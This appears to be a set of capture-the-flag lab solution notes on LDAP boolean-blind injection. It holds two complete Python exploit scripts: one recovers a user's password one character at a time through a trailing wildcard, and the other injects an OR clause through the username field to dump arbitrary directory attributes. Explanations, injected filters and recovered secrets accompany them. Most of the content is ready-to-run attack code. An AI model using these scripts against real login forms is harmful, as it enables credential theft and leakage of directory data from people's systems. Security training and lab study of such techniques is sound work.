Boolean Blind
LDAP boolean-blind password recovery via trailing wildcard
Recovers a password one character at a time by appending a candidate char plus an LDAP wildcard and watching the login oracle.
The technique abuses the LDAP filter substring wildcard *. When the application builds a filter such as (&(uid=USERNAME)(userPassword=<input>)), submitting <prefix><char>* as the password makes the server test whether the stored password starts with prefix+char, since the trailing * matches any remaining characters. The oracle returns True only when the TRUE_RESPONSE marker appears, signalling that prefix is a real prefix of the secret. dump_password grows the confirmed prefix one character per round: it walks the charset, keeps the first char the oracle accepts, and stops when no char extends the prefix (the full value is recovered). Characters that are LDAP filter metacharacters (*, (, ), \, NUL) must be sent as their \HH hex escapes so they are treated as literals rather than altering the filter; two prefixes are tracked because the request prefix carries the escaped bytes while the output prefix stays human-readable.
import requests
import urllib3
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()
LOGIN_URL = "http://target/index.php"
USERNAME = "htb-stdnt"
TRUE_RESPONSE = "Login successful"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
# Filter metacharacters must be sent hex-escaped so they stay literal
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}
def oracle(candidate):
# Server filter becomes (&(uid=USERNAME)(userPassword=<candidate>*));
# the trailing wildcard matches the rest, so a hit means the password starts with <candidate>
data = {"username": USERNAME, "password": candidate + "*"}
r = s.post(LOGIN_URL, data=data, verify=False, proxies=PROXIES)
return TRUE_RESPONSE in r.text
def dump_password():
req_prefix = "" # escaped bytes sent in the request
secret = "" # human-readable recovered value
while True:
for c in CHARSET:
esc = LDAP_ESCAPE.get(c, c)
if oracle(req_prefix + esc):
req_prefix += esc
secret += c
print(f"[+] {secret}")
break
else:
print(f"[*] password for {USERNAME}: {secret}")
return secret
if __name__ == "__main__":
dump_password()Server-side filter the wildcard grows against
(&(uid=htb-stdnt)(userPassword=Academy_student*))Recovered character-by-character
[+] A
[+] Ac
[+] Aca
...
[*] password for htb-stdnt: Academy_student!Find by: ldap injection, boolean blind, password bruteforce, wildcard, userPassword, prefix growth, login oracle, filter substring match · Source: CWEE/LDAP Injection boolean-blind password solve
LDAP boolean-blind arbitrary attribute dumper via OR-clause injection
Injects an OR clause through the username field to leak any chosen LDAP attribute character-by-character.
When the username is concatenated into the filter unescaped, the value USERNAME)(|(<attr>=<candidate>* closes the original clause and opens an injected OR group, yielding a filter like (&(uid=USERNAME)(|(<attr>=<candidate>*)(userPassword=invalid))). The password invalid) balances the parentheses. Because the group is an OR, the bind/search succeeds whenever the target attribute begins with candidate, independent of the password branch, which turns login success into a boolean oracle for the attribute value. dump_attribute reuses the prefix-growth loop: it appends each charset character behind a trailing *, keeps the first one the oracle confirms, and terminates when no character extends the value. This generalises the password recovery to any readable attribute (description, mail, sn, hashed-password fields), so a single login form leaks directory contents that are never rendered. Filter metacharacters are hex-escaped to keep injected syntax intact while still matching literal bytes in the stored value.
import requests
import urllib3
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()
LOGIN_URL = "http://target/index.php"
USERNAME = "admin" # an entry the injected OR is anchored to
ATTRIBUTE = "description" # any attribute to exfiltrate
TRUE_RESPONSE = "Login successful"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}
def oracle(candidate):
# username breaks out and injects an OR clause:
# (&(uid=USERNAME)(|(ATTRIBUTE=<candidate>*)(userPassword=invalid)))
inj = f"{USERNAME})(|({ATTRIBUTE}={candidate}*"
data = {"username": inj, "password": "invalid)"}
r = s.post(LOGIN_URL, data=data, verify=False, proxies=PROXIES)
return TRUE_RESPONSE in r.text
def dump_attribute():
req_prefix = ""
value = ""
while True:
for c in CHARSET:
esc = LDAP_ESCAPE.get(c, c)
if oracle(req_prefix + esc):
req_prefix += esc
value += c
print(f"[+] {value}")
break
else:
print(f"[*] {ATTRIBUTE} = {value}")
return value
if __name__ == "__main__":
dump_attribute()Injected filter (OR-clause leaks the attribute)
(&(uid=admin)(|(description=htb{c*)(userPassword=invalid)))Exfiltrated attribute value
[+] h
[+] ht
[+] htb
...
[*] description = htb{cfbf8ce58a8986ab567ed5533b186515}Find by: ldap injection, boolean blind, attribute dump, filter injection, OR clause, exfiltrate, description, userPassword, wildcard · Source: CWEE/LDAP Injection boolean-blind attribute solve